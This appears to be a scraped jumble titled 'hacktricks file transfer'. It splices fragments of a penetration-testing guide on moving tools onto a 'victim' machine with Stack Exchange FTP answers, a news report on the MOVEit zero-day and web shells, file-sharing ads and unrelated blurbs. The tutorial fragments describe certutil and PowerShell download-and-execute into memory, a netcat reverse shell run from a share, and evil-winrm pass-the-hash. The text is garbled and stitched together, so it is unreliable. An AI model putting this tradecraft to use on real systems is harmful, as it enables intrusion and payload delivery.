hacktricks file transfer

information systems; Implement NIST's risk management framework, from defining risks to selecting, implementing How can i automate a file upload from my computer to my apacheweb serverwith out using a web browser. The main problem with plaintext file transfers is that it communicates in plaintext. As you can see, network sniffers can find out a lot about the plaintext communication between you and your target. "Any organization using MOVEit should forensically examine the system to determine if it was already compromised and if data was stolen," Mandiant Consulting Chief Technology Officer Charles Carmakal said in an emailed statement. We redirect the download output to a file, and use sed to delete the first 7 lines of the file. rev2023.6.2.43473. Save my name, email, and website in this browser for the next time I comment. Each of these tools have their own unique differences and are worth checking out! Now that we have seen how the executables can be loaded directly into memory on the victim from the attacker machine, lets look at how we can load PS1 scripts since we also used the -s switch. Ncat can create a secure, encrypted connection over SSL/TLS. It is not a major resource saving, but it is worth bearing in mind. For more details on setting up keys and moving files to the server with RSYNC, which is useful if you have a lot of files to move, or if you sometimes get just one new file among a set of random files, take a look at: You can also execute a single command after sshing into a server: ssh [snipped] hostname [command] If command is specified, it is Contact support, Complete your profile and stay up to date, Need help registering? Subscribe to the SecurityWeek Email Briefing to stay informed on the latest threats, trends, and technology, along with insightful columns from industry experts. It uses port 8000 by default, but you can change that by specifying the port number at the end. Related: GoAnywhere Zero-Day Attack Hits Major Orgs, Related: Barracuda Zero-Day Exploited to Deliver Malware for Months Before Discovery. This specific technique does not work with the Python HTTP server because it does not accept POST requests. Once the payload is on the victim, start a multi-handler listener and then execute the payload and you will have a meterpreter shell on your multi-handler. The cloud version of the product appears to be impacted as well. Are there off the shelf power supply designs which can be directly embedded into a PCB? For this post, we will be deep-diving into the art of transferring files. You really should use SSH/SCP/SFTP for this rather than FTP. For this example, start a netcat listener on port 443 on our attacker machine and then execute the following command on the victim: And back on our listener, we have gotten a shell using nc.exe without ever downloading it onto the victim! Advertisement. But the advantages of http.server over SimpleHTTPServer are:1. The transferred files are stored on our secure cloud and you will receive a notification to inform you that a new transfer was received on your account. @Adam the "connection won't be encrypted" etc is a consequence of using FTP, which was specified in the question. TL;DR. First is a suggestion to use a more secure/flexible solution like ssh/scp/sftp. (Marc Solomon), Industry standard frameworks and guidelines often lead organizations to believe that deploying more security solutions will result in greater protection against threats. GreyNoise reported seeing scanning activity that could be related to this vulnerability as early as March 3. Heres the full list of commands (you can find a better-formatted version here): To run our wget.vbs script, run cscript wget.vbs http://ip-addr:port/file output-file. Learn the fundamentals of developing a risk management program from the man who wrote the book The machine that the file is getting sent to is the listener machine, which in this case is the victim. Dec 13, 2022 at 3:08 Add a comment 11 Answers Sorted by: 98 Below are two answers. Checking the file, we can see that it transferred in full after comparing the file size to the original on our attacker machine. When teams have a way to break down enterprise silos and see and understand what is happening, they can improve protection across their increasingly dispersed and diverse environment. You may need to create a new user for SSH to log into, if so, you can use the adduser username command and follow the prompt to set up a new user. and monitoring information security controls. To bypass that, we can hardcode a function / command at the bottom of the PS1 script and when the script executes as it is downloaded into memory, it will also execute the hardcoded command at the bottom. By submitting this form you agree to our Privacy & GDPR Statement. Depending on the database engine being used (MySQL, Microsoft SQL Server, or Azure SQL), an attacker may be able to infer information about the structure and contents of the database in addition to executing SQL statements that alter or delete database elements, the vendor said. A web shell is typically a small piece of malicious code written in typical web development programming languages (e.g., ASP, PHP, JSP) that attackers implant on web servers to provide remote access and code execution to server functions. By clicking Accept all cookies, you agree Stack Exchange can store cookies on your device and disclose information in accordance with our Cookie Policy. To close down the server, run service pure-ftpd stop. When people mysteriously disappear and her mother is attacked by an infectious patient, sixteen-year-old Raquel Celestin and her friends start an investigation that leads them to a dangerous game in the tunnels of the Bronx. What one-octave set of notes is most comfortable for an SATB choir to sing in unison/octaves? Cancel at any time. WebA. Netcat can also be used to manually download files from an HTTP server. Similarly, we can copy files from the victim to our attacker machine by reversing the command: Back on our attacker machine, we see the file has been transferred successfully. The trick is to create a file with all the FTP commands we need, and run it all at once. For the Apache server, you would need to tweak the command just a bit to push the file specifically to upload.php, like so: Just like we saw earlier, by adding powershell -c in front of the PowerShell command above and then surrounding it in double quotes, we can execute it from a cmd.exe prompt: Another way we can use cmd.exe to upload files is by using curl.exe. Progress Software directed MOVEit Transfer customers to check for indicators of unauthorized access "over at least the past 30 days," which Condon said indicates that attacker activity was detected before the vulnerability was disclosed. The most common technique for downloading files onto our victim from a cmd.exe prompt is by using certutil.exe. First we will craft our ftp.txt file using the following commands: If you are downloading a non-binary file, simply remove the echo binary >> ftp.txt line from the commands above. Now, when we type Invoke-Binary followed by a tab, it will auto complete to the executables folder we assigned. Following the HTTP stream shows us the HTTP GET request that was sent (shows the sending host and user agent [curl]), the file that was requested and the servers response. Securityweeks CISO Forum will address issues and challenges that are top of mind for todays security leaders and what the future looks like as chief defenders of the enterprise. (From here) Capture SSRF The first thing you need to do is to capture a SSRF interaction provoked by you. The apache server does not have a GUI upload feature with just upload.php. For example, we can get a reverse shell using nc.exe from the share without copying it to the victim. File transfer from a Windows box: certutil.exe -urlcache -split -f http://:/file.exe [OR] powershell.exe -NoProfile Again, the syntax just needs to be a bit different when using PowerShell compared to cmd.exe. Does Russia stamp passports of foreign tourists while entering or exiting Russia? From heightened risks to increased regulations, senior leaders at all levels are pressured to Ports Port 21 (FTP) Port 22 (SSH) Port 25 (SMTP) Port 53 (DNS) Port 80 (Http) Port 88 (Kerberos) Port 110 , 995 (POP3) Port 135 , 593 (RPC) Port 139,445 (SMB) 143,993 (IMAP) Port 161, 162 (SNMP - UDP) Port 623 (IPMI - UDP) Port 636 (LDAP) 873 (Rsync) 1433 (MSSQL) 2049 (NFS MOUNT) 3128 (SQUID PROXY) 3306 (MYSQL) 3389 (RDP) 3632 Get a TransferNow account to transfer large files and other sizable documents! It is installed by default in Windows 7 and 2008, and later versions. You can start the SSH server easily on your Kali Linux with service ssh start. This way there will no need for transferring a file to be able to transfer files because thats redundant! Having created both the file and directory needed to allow us to upload files, now all we need to do is start Apache with systemctl start apache2 and then we will be able to upload files to our attacker machine from the victim. But how can we copy and paste executable files, which are full of unprintable characters? Cybercrime As hackers, we constantly find that we need to drop tools onto our victim or the need to download our exploits into memory. In addition to patching their systems, Beaumont said businesses who run MOVEit Transfer should remove network connectivity, check for newly created or altered .asp* files and retain a copy of all IIS logs and network data volume logs. AtftpdAtftpd allows a quick setup of a TFTP server in Kali Linux, with just a single command atftpd --daemon --port 69 root-dir. When we started our FTP server, we used the -w flag, which gives any logged in user write permissions. An explanation would be in order. The accepted solution includes both ftp and ssh. Progress Software warned on May 31 that its MOVEit Transfer managed file transfer (MFT) software is affected by a critical SQL injection vulnerability that can be exploited by an unauthenticated attacker to access MOVEit Transfer databases. Once upon a time hack was short for an ordinary horse, and now its an insult for writers. By Eduard Kovacs June 2, 2023 For CLI ways to download files from a HTTP server, check the Windows and Linux sections below (namely certutil/powershell/vbscript for Windows and wget/curl for Linux). SecurityWeeks Threat Detection and Incident Response Summit brings together security practitioners from around the world to share war stories on breaches, APT attacks and threat intelligence. Now we can use the command ftp.exe -v -n -s:ftp.txt again to connect to our FTP server and execute the ftp.txt file line by line. The web shell code first determines if the inbound request contains a specific header and returns a 404 "Not Found" error if the header lacks a specific password-like value, according to Condon. A zero-day vulnerability in Progress Softwares MOVEit Transfer product has been exploited to hack organizations and steal their data. We are a Barber Shop located in Carrollwood Village Fl, we provide a great environment for our clients. Is Spider-Man the only Marvel character that has been represented as multiple non-human characters? With our HTTP server running we can use certutil to download files from our attacker machine, like so: Windows 10 and Server 2019 have cURL built-in (curl.exe) and can be used to download files the same way it is used on Linux machines. @erikb85 - this for scripts, not (necessarily) for interactive use. on the topic: Ron Ross, computer scientist for the National Institute of Standards and The Old English root word is haccian, which means to cut into pieces, but hack also means to cough frequently. Why is the passive "are described" not grammatically correct in this sentence? Technology. You can get a simple HTML code to integrate into your website allowing you to receive files instantaneously. The Boston-area application development and infrastructure software provider on Wednesday warned of a critical SQL injection vulnerability in MOVEit Transfer that allows for "escalated privileges and potential unauthorized access" on target systems. Introduction to Evil-winrm Evil-winrm open-sourced tool written in ruby language making post exploitation easy as possible. This technique is also cool because the TXT file has to be crafted right on the victim. Piggy-backing off of the PowerShell examples, there is a technique we can use that will allow us to execute PowerShell commands from a cmd.exe prompt. Build your own file reception forms and add your customized fields (text fields, drop-down lists, checkboxes, and radio buttons). As a side note, TFTP uses UDP as its transport layer protocol. Now lets take a look at how we can actually achieve encrypted file transfers. The second method is to use the Secure Copy Protocol, or SCP, which uses SSH to securely transfer files. After that, give the script execute permissions. Regardless of the use case your security organization is focused on, youll likely waste time and resources and make poor decisions if you dont start with understanding your threat landscape. We crack hector and TransferNow is the ideal solution to send your files via email (or shareable link) and receive files of every size! But then, testing the PowerShell version with ascii encoding, it worked. Since we are redirecting the raw output to the file, the HTTP GET response header is redirected as well, and if left untouched, can corrupt an executable file. Its unclear exactly how many are affected, but a Shodan search shows roughly 2,500 internet-exposed instances of MOVEit Transfer, and the vendor says its products are used by hundreds of thousands of enterprises, including 1,700 software firms. This creates an FTP server with anonymous access allowed. How can I upload (FTP) files to server in a Bash script? evil-winrm can also be used in a pass-the-hash attack if you find a username + NTLM hash combo. This module covers file transfer techniques leveraging tools commonly In an exclusive presentation, Ross, lead author of NIST Special Publication 800-37 Now that we have seen how to start the HTTP server, lets explore the various ways we can download files from the HTTP server onto the victim. By using our service to send or receive your files you have a dedicated and secure global cloud infrastructure where files are stored and encrypted on disk (AES-XTS 256 bits) in datacenters (AICPA SOC 2 Type II) on the European, American and Asian continents. Send files via email to your contacts or get a customizable shareable link. Once our attacker machine has connected to the victim, it will show us the was connection was made on the listener. While definitely worth mentioning, it is a bit redundant in my opinion since it cannot be a first option. With GUI access, we can drop into the FTP prompt and interact with it, like so: We see that the file downloads successfully and back on our attacker machine, we can see in the FTP logs that the user checked in and downloaded the file. PowerShell has a built-in function called Invoke-WebRequest that can be used to download a file from our HTTP server like so: Another way to download files using PowerShell is by using the WebClient class: While the last 2 examples allow you to download files onto disk, by using the Invoke-Expression function, we can also download and execute files directly into memory using Invoke-Expression: In my experience, IEX is only useful for downloading and executing PS1 scripts and BATCH (.BAT) files into memory. Add your files or folders by drag-and-dropping them on this window. Click on Start to select the files and documents to send or drag and drop them directly anywhere on our interface. With evil-winrm, there are two different switches that deserve mentioning and they are the -e switch and the -s switch: Setting a directory for both PS1 scripts and binaries (EXEs) allows us to execute them from our attacker machine directly into memory on the victim. Send large files via email or create a simple sharing link from any device (smartphone, tablet, computer) using just a web browser. Lastly, to make this work, we need to give full ownership of the uploads directory to www-data. All we need to do now is run the script with the following command and our server will be running: The Python web server can be accessed in the browser just the same as the original HTTP server; however this time it comes equipped with an easy-to-use upload feature.

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